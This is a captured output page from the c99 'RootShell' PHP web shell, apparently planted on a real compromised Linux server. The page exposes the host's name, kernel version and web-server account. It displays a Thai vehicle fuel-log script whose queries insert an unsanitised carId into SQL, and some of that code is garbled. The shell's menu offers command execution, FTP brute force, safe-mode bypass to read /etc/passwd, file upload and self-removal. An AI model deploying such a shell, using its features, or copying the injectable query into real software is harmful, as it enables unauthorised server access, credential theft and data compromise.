!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/teacher/   drwxr-xr-x
Free 50.99 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     AddOil.php (5.32 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

include("../include/FunctionDB.php");
include(
"../include/Function.php");

 
ConnectDB();
 
$sql ="SELECT * FROM  formcaroffice   WHERE  carId='$carId'";
  
$result  mysql_query($sql) or die("Cannot Select").mysql_error();
  
$rs mysql_fetch_array($result);
 
$sql1 ="SELECT * FROM  autocar_tb   WHERE carId='$carId'";
  
$result1 mysql_query($sql1) or die("Cannot Select").mysql_error();
  
$rs2 mysql_fetch_array($result1);
?>
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<link href="../css/default.css" rel="stylesheet" type="text/css" />
<script language="javascript" src="../js/utilities.js"></script>
<script language="JavaScript" type="text/JavaScript">
function browse()
{
    pc.Filetex.src = pc.Filetex.value;
}
</script>
<table width="557" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
        <td width="557">
          <fieldset>
            <legend></legend>
            <label><div align="center">
              <form action="InsertOilSave.php" method="post" enctype="multipart/form-data" name="pc" id="pc">
                <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0" bgcolor="#CCCCCC" style=" border:0px solid gray"size="12">
                  <tr bgcolor="#BFD0E6">
                    <td width="100%" height="24" bgcolor="#FFFFFF"><div align="center" class="style1"><font color="#000000" face="Tahoma"><strong>เพิ่มข้อมูล</strong></font></div></td>
                  </tr>
                  <tr bgcolor="#eeeeee">
                    <td bordercolor="#CCCCCC" bgcolor="#FFFFFF">เลขวัดระยะที่หน้าปัทม์ <font color="#0000FF" size="2" face="Tahoma">
                    <input name="Mile_start" type="text" id="Mile_start" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed"  value="<?=$rs2['Mile_start'];?>" size="10"/>
                    </font>ถึงเลขวัดระยะที่หน้าปัทม์ <font color="#0000FF" size="2" face="Tahoma">
                    <input name="Mile_finish" type="text" id="Mile_finish" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed"  value="<?=$rs2['Mile_finish'];?>" size="10"/>
                    </font></td>
                  </tr>
                  <tr bgcolor="#eeeeee">
                    <td bordercolor="#CCCCCC" bgcolor="#FFFFFF">เที่ยวไป (เติมน้ำมัน )<font color="#000000" size="2" face="Tahoma">
                    <input name="Lish_start" type="text" id="Lish_start" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed"  value="<?=$rs2['Lish_start'];?>" size="5"/>
ลิตร จำนวนเงิน
<input name="Price_start" type="text" id="Price_start" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed"  value="<?=$rs2['Price_start'];?>" size="5"/>
บาท 
                  เลขวัดระยะที่หน้าปัทม
<input name="Num_start" type="text" id="Num_start" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed"  value="<?=$rs2['Num_start'];?>" size="10"/>
                    </font></td>
                  </tr>
                  <tr bgcolor="#eeeeee">
                    <td bordercolor="#CCCCCC" bgcolor="#FFFFFF">เที่ยวกลับ (เติมน้ำมัน )<font color="#000000" size="2" face="Tahoma">
                    <input name="Lish_finish" type="text" id="Lish_finish" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed"  value="<?=$rs2['Lish_finish'];?>" size="5"/>
ลิตร  จำนวนเงิน
<input name="Price_finish" type="text" id="Price_finish" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed"  value="<?=$rs2['Price_finish'];?>" size="5"/>
บาท  
                  เลขวัดระยะที่หน้าปัทม์
<input name="Num_finish" type="text" id="Num_finish" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed"  value="<?=$rs2['Num_finish'];?>" size="10"/>
                    </font></td>
                  </tr>
                  <tr bgcolor="#BFD0E6">
                    <td height="28" bgcolor="#FFFFFF">&nbsp;</td>
                  </tr>
                  <tr bgcolor="#BFD0E6">
                    <td height="28" bgcolor="#FFFFFF"><div align="center">
                      <div align="center">
                          <a href="#"></a>
                          <input type="submit" name="Submit" value=" บันทึกข้อมูล" class="button" />
                          &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
                          <input type="reset" name="Submit" value=" เคลียร์ข้อมูล" class="button" id="Submit" /> 
                          <input type="button" name="Submit2" value="ปิดหน้าต่าง" onclick="javascript:parent.close();" class="CURSOR-HAND" id="Submit2" />
                          <font color="#006633" size="2" face="Tahoma">
                          <input name="carId" type="hidden" id="carId" value="<? echo $rs[carId]?>" />
                        </font><font color="#006633" size="2" face="Tahoma">
                        <input name="CarmoId" type="hidden" id="CarmoId" value="<? echo $rs['CarmoId']?>" />
                        </font></div>
                    </div></td>
                  </tr>
                </table>
              </form>
              
            </label>
        </fieldset>
        <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2">
      </font></td>
    </tr>
</table>


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0099 ]--